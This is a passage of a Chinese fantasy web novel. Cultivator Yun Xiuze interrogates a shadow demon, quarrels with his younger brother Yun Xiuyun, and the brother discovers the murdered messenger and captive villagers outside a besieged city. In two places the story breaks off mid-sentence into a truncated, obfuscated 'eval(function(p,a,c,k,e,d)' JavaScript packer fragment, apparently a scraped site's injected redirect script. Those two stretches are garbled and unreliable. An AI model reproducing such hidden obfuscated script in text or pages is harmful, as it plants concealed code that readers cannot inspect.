云修云随着他的话想象了一下没有肉身,单单一身经脉向自己走来的诡异模样,不由得抱着手臂打了个寒颤,引得唐思月微微侧目。 云修泽想的更深一些,他喃喃念道。 “雾面影的妖丹,在他们的眉心......” 徐城主看他的眼神带上了一丝赞赏,果然,魁首都不是什么等闲之辈,立马就能意识到。 “不错,雾面影常年黑雾遮面,在他们之前,还从未有人发现过他们的妖丹,也许有,只是都没能活下来广而告之。” 这支妖族,在很久以前就已经隐隐有了妖族之首的趋势,因为无论是人还是妖,都找不到他们的致命弱点,但是十几年前,这个秘密却突然被发现,因此,现在才只能与其他三族平起平坐。 既然他们都没有关于镜双子的线索,云修泽也不再纠结这点。 “徐城主,现在城中究竟如何了?” “还在排查中,约摸着再过几......” “徐城主。” 杯底轻磕,声音不大,但在议事堂中却十分清晰。 云修泽平静的看着他,目光中缓缓带上了些威压,灵力丝丝外溢,环绕在这里,让徐城主有了一种呼吸被压抑的错觉。 “我们是与雾面影交过手的,该调查的我们也都调查过了,现今城门已经关闭,我想,咱们就没有打太极的必要了吧?” 徐城主顶着压力缓慢的呼吸,脸上僵硬的露出一抹苦笑,随即肩背就慢慢弯了下去。 他一只手揉着眉眼,一直撑着的精气神消失,眼下的乌青和疲惫的神色便显露出颓唐之势。 “实在是对不住几位,前几日前往计都送信的人已经离开,还不知何时才能收到朝廷的回应,城中陷入昏迷的人越来越多,我不得不下令将城门关闭,但是......” 他无可奈何的叹了口气,接着说道。 “但昏迷的人还是有增无减,列大人带着官兵日夜巡逻,也没能发现什么,现在城门已关,之前离城的百姓和一直在城外山中生活的散民都没有消息,我心忧之,却无能为力。” 说吧,他的眼中似乎是闪过一丝懊恼,随即强行打起了点儿精神,对他们说道。 “之前将几位强行留在这里是我们的不对,但是特殊情况,任何风吹草动我们都得警惕,只要那个秉唯小兄弟留下,我可以开城门放几位离开。” 还没等几人开口,他又马上急迫且诚恳的接着说道。 “但我私心还是想厚着脸皮请几位留下,城中官兵武力值纵然高,但到底都不是修法之人,对上妖族,胜算还是渺茫,现在留于城中的修士不过双十之数,若能得几位相助,对城中百姓来说也是幸事一件。” 徐城主人已至中年,此时为了百姓弯腰拱手的请求他们几个小辈,再加上他疲惫的神色,全然就是为民着想的父母官。 云修泽心中不是没有动摇,但总的来说还是冷淡居多,这种微妙的、被赶鸭子上架的感觉居于恻隐之上,带到眼神中显现出来,便让徐城主的心中有了几分忐忑。 云修泽虽然没有一口答应,但也没有马上回绝,而是转头用眼神去挨个确认同伴们的意思。 行愿一如既往的跟随唐思月的决定,唐思月眼中有几分迟疑,但还是心软,无法放任就在眼前的百姓遭难,云修云更是直接道。 “我觉得是个挺好的历练机会啊!” 天盛微......两人四目相对,她也缓缓点了点头。 莫说她本性纯善,就单以她的身份来说,这些百姓也是她需要扛起的责任。 云修泽心中微叹,并不感到意外。 “好吧,我们应下了。” 徐城主面上闪过喜意,腰弯的更深了些。 “多谢几位大义,森阳定然不会忘却!” 云修泽托了托他的手肘。 “徐城主严重,因缘际会,便是天意了。” “是、是,英雄少年,也逢时事,第七洲的大名日后定也会如镜双子一般无人不知,无人不晓啊!” 云修泽眼神平静的笑了笑。 “承您吉言。” 到了此时,天色已经擦黑,几人在徐城主的邀请下又在这里用了顿晚膳才一起回到了住处。 到了云修泽的房中,出乎意料的,秉唯竟然还在睡,云修泽缓缓皱起了眉。 “思月,再给他看看。” 唐思月上前,剥开他的眼睑,又探了探他的经脉,有点奇怪。 “他的经脉比我们走前还要乱,像是受到了什么冲击,一般来说都是走火入魔的前兆。” 说着,她就想将秉唯叫醒,几人都围了过来,很快,在他们的呼唤下,他迷迷糊糊的睁开了眼。 唐思月松了一口气。 “还能醒来,那应该就没什么大问题。” 云修泽皱着眉捏住他的脸颊,秉唯的嘴被迫嘟起来,蠢蠢的,也很可爱。 “小妖怪,睡太久了,这么大了还赖床不成?” 秉唯被打扰了安眠,睡眼惺忪的打开他的手,连反驳都没反驳两句,就又闭上眼含糊的嘟囔着好困,随即又重新沉沉睡去。 天盛微探了探他的额头。 “他怎么样了?” 唐思月掏出一颗入口即化的丹药,在行愿的协助下强硬的塞到了他的口中。 “应该没事,他既然能醒,那就不是走火入魔,这个药能帮他平息一些紊乱的经脉,需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人都穿着中衣,长发散下,在温暖的烛光下,露出了平日看不到的柔和,显得干净、温柔和亲近。 云修泽并不打算做什么越界之事,但看着这样的她,还是心中一动。 两人都把说好的打坐扔在了脑后。 云修泽靠坐在床头,目光柔和,微微张开手臂,天盛微就挪了两下,轻轻靠进了他的怀中。 云修泽蹭蹭她的发顶,闻到了皂荚淡淡的清香。 他环在她背后的手无意识的轻缕着她的长发,天盛微抬脸看他。 “在想什么?” 云修泽回神,才发现自己刚刚神思不知跑到了哪里。 “还在担心城中的事吗?” 云修泽沉默片刻,安静的说道。 “有一些,小妖怪不太对劲,我总担心这件事白女狐也有参与。” 天盛微垂眼把玩着他的手指,她不知道该怎么说,白女狐的确有可能参与,最终也只说。 “兵来将挡,水来土掩。” 云修泽把她的手包在掌中,有些出神的念叨。 “以一化万千的剑......” 天盛微把手抽出来又压着他的手背盖上去。 “是已经生出剑灵了的剑吧。” “剑灵?” 云修泽微微直起了些身子,又把她的手压下去,疑惑的皱眉。 “嗯。” 天盛微又盖上去,解释道。 “师傅说过,修士的武器常年跟在主人身边,当心意与主人彻底相通的那一瞬,就会生出器灵,有了器灵的武器天然会对其他的兵器生出压制,不过自古至今也是少有出现。” “心意相通......” 说法晦涩,只能看个人的领悟力能否意会,云修泽的目光不由自主的瞟向了旁边的褚闲和深流。 怎么才算心意相通呢? 烛光慢慢变暗,催促着,让人生出了困倦。 云修泽察觉到怀中的天盛微开始睡眼朦胧,就先把那些问题抛到了脑后,放弃了手上对两人来说有点幼稚的你压我我压你的玩闹,揽着她慢慢放平了身体。 她的发丝在云修泽的指间滑过,云修泽慢慢顺着她的长发,垂下眼睛,面容褪去了平日里的模样,看上去沉静又温和。 “睡吧,我在你身边。” 天盛微渐渐睡去,环在他腰间的手却没有因此放松。 云修泽露出笑意,抚在她发间的手上悄无声息的出现了一枚丹药,静悄悄的一捏,丹药宛如空空的脆壳般碎裂,轻轻一捻,就化为了淡褐色的烟雾,萦绕在天盛微的身上,很快,就让她陷入了更深的沉睡。 这是唐思月专门针对他们这种百毒不侵的体质制作的,就是不知道在他们身上能有几分效力,也正好可以做个试验。 云修泽轻手轻脚的起身,换上夜行衣,拿上褚闲,决定早去早回。 他翻上了酒楼的屋顶,风在高处更加凛冽,吹动他的衣摆,但未能让他动摇,他轻轻呼出一口气,出口的瞬间就化为了白雾。 这里在森阳城内算是数一数二的高,云修泽冷眼看着巡逻的官兵大街小巷的穿行,片刻后,隐去身形来到了纱衣家的屋顶,蹲下身,开始守株待兔。 到了子时与丑时的交汇点,院中果然不出他所料,开始有妖气浮动。 一个身影无声无息的出现,推开院门便要离去,下一瞬,锋利的剑刃便从后方横上了他的颈脉,随即就有声音慢吞吞的传来。 “抓到你了。” 72. 曲衣十三 那人根本没有察觉到云修泽的存在,突然出现的声音和脖子前横着的利剑让他身上顿时出了一层冷汗。 四肢控制不住的僵硬,但他很快反应过来,立马就遁入了阴影之中。 云修泽放下手,并不急着去阻拦他的逃脱,而是不紧不慢的向前走着。 “没用的,这里早就被我布下了结界。” 他手指一弹,一团灵力就飞射出去,两个呼吸过后,就宛如撞上了一个透明的幕布,幕布泛起层层涟漪,姜黄色的结界形态就随之浮现出来。 那个人果然无法逃离,在结界的边缘重新从阴影中出现,一转头,雾面影脸上那标志的黑雾就出现在他的眼前。 “大名鼎鼎的第七洲原来也在这里,不知今夜有何贵干?” 云修泽并不意外眼前这个陌生的雾面影认识自己,也并不意外他的出现,早在徐城主说关上城门后还有人不断昏迷他就有所猜测。 毕竟哪怕是雾面影也不可能隔着那么远的距离做到这个,那就只有一种可能,说明他们本身就在城内。 可是列七锋又带着人一直巡逻,按这个严密程度,他们不可能不被发现,那真相就很明显了,雾面影,自然是藏在影子中。 心中有了七八成的把握,他就提前来蹲守,还真让他逮到了一个。 “也没什么,就是问几个问题。” 那个雾面影深知自己硬碰硬打不过他,别说他是云修泽,就单说自己刚刚根本没察觉到他,就可以明白自己绝对不是敌手,所以才会一个照面就立马选择逃跑,不过现在既然也跑不掉了,就只能谨慎一些,先稳住他,再伺机离开。 他背靠着结界,身体伏低,隔着黑雾看不见他的表情,但看样子也是戒备非常。 他不出声,云修泽就默认他同意了,自顾自的接着问下去。 “所以昏迷的人身边都藏着雾面影吗?” 他一顿,接着说道。 “好好回答,我还不一定会要你性命。” 雾面影声音压低。 “第七洲是要参与这件事吗?” 云修泽淡淡的笑了笑。 “你现在最该关心的事情是自己还能不能活命,我赶时间,你最好快点回答。” 云修泽外放的灵力压制的雾面影呼吸变得困难,大有一种他再不回答,下一刻就要被碾碎的趋势。 “不、是。” 雾面影咬着牙艰难的出声,很快就感到压制放轻了不少。 “你们还有多少妖在城内。” 他背在身后的手悄悄摸索着结界,试图在其中找到可以突破的薄弱处。 “算上我十二个。” 云修泽缓步向他逼近。 “这次的事情,影玖来没来?” 找到了! 雾面影眼神一凌,妖力大把大把的涌向结界,结界应声破裂。 就是现在! 他转身立马就要遁入阴影,虽然因为白日里他一直藏在阴影之中,现在所剩的妖力无法在阴影中让他维持太长时间,但无论如何都要试上一试。 就在他即将成功的时候,却突然被云修泽从背后捏住了后颈,眉间传来丝丝缕缕的寒意。 雾面影僵直着身体,咽了咽口水。 一把小巧却通身覆盖着灵力的匕首浮在空中,离他的眉心仅有半寸之遥。 云修泽垂眸看他,没什么感情的重复道。 “影玖,来没来?” “来、来了......” “很好。” 雾面影小心的瞥了他一眼。 “外面现在什么情况?” 提起这个,他仿佛是有了一些底气,斟酌着说道。 “我不建议你们参与这件事,这是我们的私怨,这次族中能来的几乎都来了,外面已经被包围,不日,这里就会沦陷。” 云修泽眸色沉沉,围城,这比他预料到的情况还要糟糕许多。 掐在他后颈上的手力度渐渐加大。 “我很好奇,城内城外,你们是靠什么联系的?” 匕首又靠近了一些,尖端几乎在他黑雾下的皮肤上划出一道血痕。 “命、灯!” 要害被威胁,让他不由自主的开始战栗,控制不住的恐惧一层层的涌上来,就连舌头也变得僵硬。 命灯......那就是只看他们活不活着,并不需要传信之类...... 云修泽心中思索,听见他强忍着恐惧,故作镇定的说道。 “对,就是命灯!我们几个无论谁出了事,外面都能知道,如果你不想打草惊蛇,最好放我离开!” 他艰难的往后仰了仰头,本能的想要离那把匕首远一些。 “你放心,我不会把你们说出去的......” 云修泽慢慢露出了云修云最害怕的那种笑容,温声说道。 “你说的对。” 还没等雾面影松口气,后颈就骤然一痛,很快就晕了过去。 云修泽哼着曲儿把他丢到地上,从玉佩中翻出了一件在康平特意买的锁妖环,神情愉悦的套在了他的手上。 “杀不了你,还不能抓你吗?” 他扛起雾面影,准备把他放到徐城主那里去。 可是他的好心情只维持了三条街,在第四条街见到与数个雾面影交手的云修云时就彻底消失殆尽。 云修泽把身上扛着的放下,深吸一口气,强迫自己冷静下来,开始去数那些雾面影的数量。 活着的,再加上已经死成妖丹的,不多不少,正好十一个。 云修泽双手握拳,怒火就要冲破他的胸膛。 思月身体不好,也天性谨慎,就算她能想到云修泽要出来,也不会冒险跟上来,只会在第二天询问。 行愿更是不会离开她的左右。 盛微也已经沉睡,可他千算万算,没算到云修云竟然会出来。 云修云这个傻小子,不知道是察觉到他出来了,跟着出来的,还是自己脑子一热跑出来,无论是哪种,都成功惹恼了云修泽。 云修云如今的实力也已经不可小觑,只不过放在他们之中才显得并不出彩。 如今单拎出来,一个人就对付了十一个雾面影,虽然他们都没有影玖那样的实力,但还是给云修云造成了不小的威胁。 云修泽冷眼看着一道又一道的伤出现在云修云身上,每新添一道,他的心就要跟着颤抖一分。 离家前,母亲的叮嘱还在耳边,可他打定主意要让云修云吃点儿苦头。 眼见的最后只剩下了一个雾面影,云修云却因为力竭反应迟钝了一瞬。 利爪在他的眼中以不可被阻拦的速度直直的朝自己的面门扑来,云修云瞳孔骤缩,向后退去,却心知自己根本躲不开。 若硬受此击,必然会造成重伤。 千钧一发之际,一把带着灵力的剑从远处被人投掷而来,力道之大,瞬间就将那只雾面影的眉心贯穿,直直的将他钉在了旁边的墙上。 劫后余生,云修云还没反应过来,瘫坐在地上眼睛发直的喘息,半晌,才向剑投来的方向看去。 这不看不要紧,一看过去,云修云倒恨不得自己受了那个伤,也不想见到满脸阴云密布的大哥。 他僵硬的提了提嘴角,声音带着说不出来的心虚。 “大......大哥......” 云修泽的表情很不好看。 “还知道我是你哥?” 他双指并拢,一道灵力便没入了脚下那只雾面影的眉心,很快,就让他无声无息的咽了气。 他走过去,将褚闲拔下来,甩掉了上面残留的血痕。 “你知道你在做什么吗?” 云修云挠挠头,也明白自己闯了祸,沮丧的耷拉着眉眼。 “我就是看到你出来,怕你一个人遇到什么事应付不过来,也怕你不让我跟着,所以才远远的跟在后面,没想到一个不小心跟丢了,还遇上这么多雾面影,他们怎么回事儿啊?” “那我还要谢谢你担心我?” 云修泽露出点儿嘲讽的笑意。 “我应付不过来,你跟来就能起到什么作用吗?” 他的话有些过分,云修云嘴角绷直,抬眼看来,眼中透露着倔强和受伤。 云修泽看到了,但怒火冲昏了他的脑袋,出口的话都没能顾及到他的心情,反而变成了利剑,狠狠的扎在他的心上。 “你知道你做了什么吗?雾面影已经围城,这些潜伏在城中的都有命灯,一旦身死,便是打草惊蛇,你干什么事就不能动动脑子吗?一没设置结界,二又吸引了这么多雾面影,跟着我出来干什么?破坏我的计划吗?” 云修云腾的站起来,有些凌乱的头发遮住了他的表情,只能看到发抖的嘴角和拳头。 “是!我幼稚!我不长脑子!我什么都不如你!跟着你只会拖你的后腿!你心里是不是一直觉得我就是个累赘?!” 他喊完,像是还想说点儿什么,但忍住了没有说出口,下巴紧绷,嘴角也深深的垂着,将脸扭到了一旁。 “我......” 云修泽语塞,他没想到云修云竟会是这样的反应,心中也不是如他所说那般想他,只是有些恨铁不成钢,一时语冲,说的那些不过脑子的话,这才反应过来伤到了他,可一时之间又不知道该说些什么才能改变当下的僵局。 从小到大,两人之间闹别扭,从来都是云修云先笑嘻嘻的凑上来卖乖求原谅。 残留的怒火参杂着无措,云修泽垂着眼,却不知他这短暂的沉默落在云修云眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不知道你这是哪里来的毛病,一而再,再而三,不是所有的事都是可以凭一己之力完成的,你还有同伴,如果在一些情况下,你做不到信任我们,那你最好还是自己一个人去找镜双子。” 云修泽默然,从很小的时候开始,很多事情他就只能依靠自己,母亲从未伸出援手,只是评判着他能不能达到那个标准,师傅虽然能够给他帮助,但实在有限,最终还是要靠他自己。 他本就早熟,在那种成长环境下,自然而然就养成了万事自己来的习惯,他也从未觉得这有什么不对,但如今看来,似乎并不完全正确。 “......我错了。” 天盛微又看了他一会儿,发现他是真的在反省后才放下了深流,转身,微微侧头,只给他留小半侧脸。 “今日之事是你不对,你若能提前跟我们商量,修云也不会如此莽撞。” 原来她听到了...... 云修泽微微睁大双眼,想通这一层后,懊悔的情绪便真真切切涌上了他的心头。 “我错了......” 这句倒是很真心。 天盛微心中暗道。 见她抬步离开,云修泽连忙快走了两步追上去,跟在她身后,颇有些小心翼翼的问道。 “去哪儿?” 天盛微目不斜视。 “去城主府,先把正事交代了再说。” 对,还有正事。 两人夜访城主府,徐城主找来了列七锋,四人挑灯夜谈,一直到了天色蒙蒙亮才离开。 回到客栈后,云修泽没有去休息,先带着路上买的糖果子去敲了敲云修云的门。 “青玉,哥错了,不该那样说你,哥就是着急,说话没过脑子,没有真那么想,你把门打开,咱们好好聊聊好不好?” 云修泽是真心实意在道歉,依照云修云的性格脾气,恐怕到了此时心中的气已经散的差不多了,剩下的应该就是委屈,但无论如何,都是会来给他开门的。 云修泽默默等了一会儿,心中盘算着该怎样哄他,可谁知过了好久,房内也没有丝毫动静。 云修泽皱了皱眉,又想起昨夜他身上那一身伤,忍着担忧又加重力道敲了一次,可这次也是一样没有动静,最后,他终于忍不住推门而进。 “青玉,大哥进来了啊。” 他扬声喊道,把糖果子放在桌上,掀开床帘一看,里面却没有云修云的身影。 他皱着眉将屋中找了一遍,心一点一点的凉下去。 青玉,去哪儿了......? 73. 曲衣十四 云修泽在云修云的房间找不到他,就转身去敲了唐思月的房门,可唐思月也没有见过他。 无法,他又去问客栈的掌柜,掌柜却也对云修云到底有没有回来没有印象。 天盛微、唐思月和行愿都被惊动跟了过来。 云修泽心中一团乱麻,通过玉佩感受了一下,知道他没受什么重伤,也只能安慰自己他是在跟自己赌气,人应该还在城中,只要好好找找,认真谈谈,好好道个歉,应该就没有什么问题。 可此时在他心中还好好待在城内的某人,却已经趁巡逻的官兵不注意,悄摸的摸出了城墙。 他小心的收敛着气息在林中穿行,心中还是有十分的不服气。 哼,说我拖后腿?雾面影围城,反正也已经打草惊蛇,倒不如先下手为强! 云修云紧抿着嘴,昨夜得知自己闯了祸,心中也是忐忑不安,可与云修泽吵过一回,气愤便占了大头,竟然脑子一热就摸出了城,想着要干点儿什么让他刮目相看的事情。 云修云想象着大哥在自己面前痛哭流涕,说自己错了的样子,心中痛快的嘴角都忍不住扬了起来。 但其实冷静了一些后,就开始有点后悔,想必此时他们应该已经发现他不见了,害他们担心是一方面,若自己再不小心搞砸了,牵连到城中的百姓才是天大的过错。 但是拉弓没有回头箭。 云修云小心的蹲在高高的树枝上,深吸了几口气,强迫自己冷静下来。 天爷的,我这运气也太好了吧? 云修云将灵力覆盖在双眼之上,极目远眺,若不出意外,看到的便是雾面影的大本营,他们似乎在准备着什么。 他皱着眉,在中间无数枝杈乱叶的缝隙中仔细辨认着里面的细节。 一个身影晃过,云修云皱了皱眉,好像是那个叫影猎的小子,影玖不是说要关他禁闭吗? 想起影玖,他就开始伸着脖子试图在一堆对他来说长得差不多的雾面影中找到他的身影。 谁知影玖有没找到,倒是先让他看到了点儿不可思议的东西。 他翻身下树,连树梢最细的枝丫和叶子都没有因为他的动作而颤动分毫。 他保持了最高的警惕,慎重的绕了一个大圈子,悄悄的靠近了他们安营扎寨的那座山头的山背。 在离那边不远处,他又挑了一棵树爬上去。 这里的雾面影相比于他刚才看到的要少很多,只留了大约两三个在这里看守,毕竟对他们来说,好几十个手无缚鸡之力的凡人,还不如一个修士来的难对付。 是的,凡人。 男女老少都有,足有三十几个,穿着粗布烂衫,灰头土脸的被圈在一起,有几个女子还挨在一起低低的啜泣。 云修云想起了之前徐城主说,有出城未归的居民,也有住在山上的散民,看来应该就是他们。 这是被圈了起来当做人质吗? 云修云皱眉,有心想将他们救出来,毕竟只有两三个雾面影的话,他是能够自己对付的。 但事情不会那么容易,若是在这里惊动了其他雾面影,得不偿失的只会是他,更何况就算救出来了,他也没办法保证能够带他们平安回城。 云修云将人质的数量在心中数过一遍,就屏息暂时离开了这里。 这座山很大,妖族也不像人族一样喜欢使用结界,所以只要云修云行动谨慎,他是可以在这里小范围的活动的。 他摸着下巴蹲在一处溪流前,盘算着想往里面下点药,但一时之间又有点摸不准妖族喝不喝水,灵儿之前跟着他们吃饭喝茶应该就是额外的,并不是生存必要的东西,而且他们吃的东西也不像人族一样需要用水烹饪。 忽然,水中飘来了一小块儿染着血的粗布,云修云一愣,手疾眼快,将其捞了起来。 手指轻捻,并未在上面感受到半分妖气,这是人族的血。 云修云眉头紧锁,顺着它飘来的方向,往溪流的更上游找去。 半个时辰不到,便让他找到了一具挂在河边枯树上的尸体。 树是刚刚断裂的,应该是之前就挂上了这人的衣服,这一断便将其扯了一小块下来,所以才顺着溪流到了云修云的眼前。 云修云皱着眉将他翻过来,稍微一探,便知这人早已死透。 这是个瘦瘦的青年人,胸口被捅了个大洞,血迹已经干涸。 他穿的与刚才那些人质大差不差,手上没有茧子,体魄也并不强壮,为什么就单单杀了他呢? 云修云一边在尸体上寻找着还有什么特殊之处,一边想着,莫不是他这人是个刺头,被杀鸡儆猴了? 突然,云修云在他的腰封处找到了一枚薄薄的令牌和一封被封存的信。 他打开那封信,越往下看,心跳就越是一声大过一声,空空的回荡在他的耳边。 他握着信纸的手开始颤抖,想要去辨认那个被血迹浸透的令牌,手指擦除不掉上面的血迹,短暂的慌乱过后,想起来还可以放到水中清洗,却也差点因为手指的僵硬而落入水中。 污渍被洗去。 云修云捏紧了它,凑近了仔细看。 ......这是森阳的通关令牌。 这个人,是徐城主口中......派去前往计都求援的信使...... 云修云的脑中有了片刻的空白,信使被杀了,信根本没有送到计都! 怎么办?雾面影围城,这里又是关口,一般不会有别处经商的商队会来这里,短时间内,不会有人察觉到这里的不对劲,计都如果收不到信,那森阳就是真正的孤立无援! 云修云六神无主,第一反应便是回去找云修泽,跟他的个人情绪比起来,森阳城内的百姓绝对更加重要。 他拖着此人的尸体,就近找了处地方将他匆匆掩埋,还不忘做了个隐晦的标记,合掌快速的低声念道。 “我今日还有急事,这位兄弟你先将就睡,我之后会告诉徐城主,一定给你换个风水宝地,助你早登极乐!” 他向后退了两步,刚准备转身离开,却不小心踩中了一处陷阱,脚腕一紧,便以极快的速度被吊了起来。 司越猝不及防脱了手,砸在松软的土上发出两声闷响,剑鞘上还有着刚刚挖坑时粘上的泥土。 云修云紧张了一下,还以为自己是被发现了,但是很快就松了口气,四处并没有雾面影出现,应该是踩到了之前住在山中的猎人布置的陷阱。 他被吊着晃晃荡荡,看着下面离自己很遥远的司越,茫然之下又觉得自己有点倒霉。 他叹了口气,认命的开始卷腹,试图去够自己绑在小腿上的匕首。 突然,有利器飞来割断了他脚上的绳子,扎进了后面的树上,云修云猝不及防向下落去,但他很快反应过来,调整了姿势,顺势拿到司越,一个翻滚,剑就已经出鞘,警惕的看着来人。 沙沙—— 一个少年踩着地上的落叶,从树丛后现出身影。 他是个人族,但云修云并没有因此放松警惕。 他认出了这是刚刚那些人质中的一个。 “你是谁?” 那少年举起双手,又往后退了半步。 “放轻松,我并不是你的敌人。” 云修云目光警惕。 “你知道我的身份?” 那少年男生女相,嗓音清澈,也是难辨雌雄,但眉目间还是带着一抹英气,此时挑眉一笑。 “大概能猜出来,你是城内的修士吧?居然敢一个人找过来,胆子还真是够大的。” 云修云的目光在他身上转了一圈,他比云修云要矮上一些,身体单薄,不是修士,也并不像是习武之人。 “你呢?你不是俘虏吧?” “我叫幼宁。” 幼宁的眼神瞟向了一旁因为掩埋而翻出来的新土。 “这人就是前往计都的信使?” 云修云双眼微眯。 “这你又是如何知晓?” “哎呀,我是前几日无意间听那些妖族说的,说什么信使已经被杀了,森阳绝对无法翻盘之类的,这里的人族都被圈在一处,唯一死在外面的就是他,而他若不是人族,恐怕你也不会费力掩埋。” “你是怎么逃出来的?” “哦。” 幼宁语气十分轻松。 “他们好像要去攻城,看着我们的妖就剩了两个,我给他们下了点儿药,让他们睡过去了,跑出来看看情况。” 攻城! 云修云瞳孔一缩,语速加快。 “其他俘虏呢?” 幼宁指了指一个方向。 “哝,再往那边走一段,有个很隐蔽的山洞,先让他们藏在那儿了,外面开打,这个时候带他们回去也不现实。” 他看向云修云,嘴角咧出一个笑容。 “这位修士大人,劳烦你去布个结界呗,省的再被发现了。” 云修云心中焦急,恨不得立马回城,但还是强行先稳住了心神,沉声说道。 “带路。” 于是幼宁一边给他带路,一边叽叽喳喳的说教他。 “你说说你,多大的人了,这么贸然跑过来,要是一个不小心,可就掉进妖族的窝了,年纪轻轻不要总是逞英雄,你怎么不想想你的亲人?亲人两行泪呀!” 云修云看着前面这个比自己矮了半个头,和自己差不多大,但是一直说个不停的人,心中焦急又烦躁,干脆直接将他扛在了肩上,让他指路。 幼宁猝不及防下被扛了起来,心中气急,疯狂的挣扎却被他轻松镇压。 “快指路,赶时间呢!” 幼宁算是在短时间内认清了自己作为待宰羔羊的地位,表情难看的闭了嘴,左左右右的给他指路,再不多费半点口舌。 云修云在快速前进的过程中问道。 “你到底是谁?” 幼宁的头倒空着,闻言呵呵一笑。 “本来是想告诉你的,但现在又突然不那么想了。” * 城墙之上,云修泽四人和徐列二人并肩而立。 时间回到早上,云修泽几人刚想分头去找云修云,就突然有官兵找到了他们。 “急报!妖族开始攻城!徐大人和列大人已经召集了城中修士,现请几位前往城墙汇合!” 云修泽咬牙,这群雾面影,本以为他们会趁着夜色袭击,可一夜过去却相安无事,本来还不知道他们到底打的什么鬼主意,谁知却趁着早上众人开始放松警惕时打过来。 偏偏在这个节骨眼儿上! 云修泽皱着眉握紧了拳头,现在这种情况,也只能先把云修云的事放在一边。 “我们走!” 到了城墙之上,见到徐城主和列统领,没有寒暄,迅速就开始讨论战况。 很快,召集的修士便来到这里,云修泽打眼一数,不算他们,就只有二十三个人。 这个人数,对于如潮水般涌来的雾面影来说,根本就是螳臂当车。 他们互相见礼,云修泽本以为还要花点功夫探讨一下该如何安排,可谁知他们大部分都在说现在时间紧迫,要以他们为首。 云修泽微讶,看来出名还是很有好处的,大比魁首的口碑,比他想的还要好用一些。 修士们很快就几人几人的离去,加入了战局。 云修泽看着下面没有灵力的的官兵和雾面影拼杀,往往都要两三个才能牵制住一个雾面影,还很容易受到重伤。 他的眼神一动,问道。 “徐城主,城中的药品粮草可还充足?” “自然,早从发觉到妖物 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若云修云是自己离开,哪里又会甩不掉他们?若是被人掳走,能掳走他的人也自然可以甩掉。 天盛微捏了捏他的手,云修泽转头对她一笑。 “战局还未结束,该抓紧时间了,我们走。” 四人对视,唐思月取出古琴盘坐于城头之上,剩下的三人则分不同的方向奔赴了战场。 此时云修云和幼宁也已经到达了那个山洞,只不过还是出现了一些意外。 他们刚刚走近,便听见山洞那边嘈杂不堪,还时不时夹杂着求饶声和惨叫声。 “啧,不好,恐怕是药效过了,我就知道没那么幸运。” 幼宁低声快速的咒骂着,云修云已经将他放下,他回头想拉云修云让他出手,身侧却猛地刮来一阵风,逼他不得不眯上了眼睛,再一看,就是云修云向山洞冲去的背影,耳边还有一句顺着风飘来的话。 “在这儿待着别乱跑。” 幼宁挑眉,还算是个不错的小子。 等云修云赶过去,就看到已经有人死在了他们的手上,尸体在旁边乱七八糟的躺着,那两个雾面影脚下踩着,手上掐着,威胁着众人乖乖跟他们回去。 云修云面上浮现出怒意,压低了眉眼,和云修泽很是相似。 众人发现他的来到,还没等有人开口询问,他就已经目标明确的冲着两个雾面影攻去。 被俘虏的百姓瑟瑟发抖的缩到山洞的最里面,云修云在打斗的间隙看了他们一眼,心想这里还是不行,于是一边打一边将两个雾面影引去了外面。 藏在外面的幼宁看着一人两妖缠斗着出来,打着打着便打到了离这里稍远些的林中,树木如此密集,竟然没有发出什么太大的响动,于是心中对他稍稍改观。 好吧,倒也不完全算是一个头脑简单,四肢发达的笨蛋。 他趁机溜到了山洞中,一个老伯见到他,连忙就迎了上来。 两人一起看了看已经死去的人,发现已经彻底没救后,不由得哀叹一声。 幼宁扬声说道。 “大家别怕,那人是个修士,很厉害,咱们一会儿换个地方,让他布个结界,就不会像现在这样被发现了,等战事暂时告一段落,咱们就能回到安全的地方了。” 他的模样气度都很好,天生就有着让人信服的能力,更何况他之前就已经带着众人逃过一次,此时说的话就更容易被大家所接受。 这时云修云提着剑走进来,舌头顶了顶脸颊,歪头啐出一口血。 幼宁皱眉,靠近了些,问道。 “你受了伤?” 云修云茫然,见他盯着刚才那口血,才后知后觉,有点儿不好意思的摸了摸头。 “没有,就是不小心咬着舌头了。” 幼宁给了他一个无语的表情。 “那两只妖怎么样了?” 云修云手掌摊开,上面是两颗新鲜出炉的妖丹。 “还不算难缠。” 幼宁心中微微惊讶,刚才说他厉害,不过是胡诌出来哄他们安心的,没想到竟真是个好手,如此短的时间就斩杀了那两只妖。 “现在要做什么?” 云修云下意识的询问他的意见,幼宁也并未察觉到有什么不对。 “我们先把这些死去的人埋了吧,然后转移,你再布结界。” “好。” 云修云说干就干,撸起袖子,颇有点熟练工的模样,拿着司越就开始找地方挖坑。 幼宁瞥了一眼他的剑,这剑跟着他真是有够遭罪的。 一共死了六个人,众人便一起合力挖了六个坑,等到全部埋完,身上就或多或少沾了些泥土。 幼宁的脸上也沾了灰,在他偏白的皮肤上显得有些突兀。 “脸上脏了。” 云修云不假思索的拿手去抹,幼宁却被他这突如其来的举动吓了一跳,甩开他的手,一脸嫌弃的说道。 “干什么呢?不要随便碰别人的脸好不好?” 云修云揉了揉被打的手背,也没太在意,只是自己嘀咕。 “都是男的,碰一下怎么了?好心当成驴肝肺。” 幼宁白了他一眼。 尸体并没有被掩埋太深,一是不知道雾面影的大部队何时会回来,二来,众人也总想着不能让他们睡在这里,总要好好的带回去安葬。 殊不知,就是这样的举动让有的人少费了好多力气。 他们走后,原本被填好的坑却突然有三个人自己扒拉着爬了出来。 他们灰头土脸的互相对视,三人都如出一辙的狼狈,随即,他们便默不作声的一起看向了众人离去的方向,眼神中闪过了复杂的光芒。 74. 曲衣十五 这场进攻只维持了很短的时间,云修泽擦去脸上的血迹,看着退去如来时一般突然的雾面影,心中涌起些许不安。 他转身欲使轻功离去,却察觉到有人正在快速的靠近。 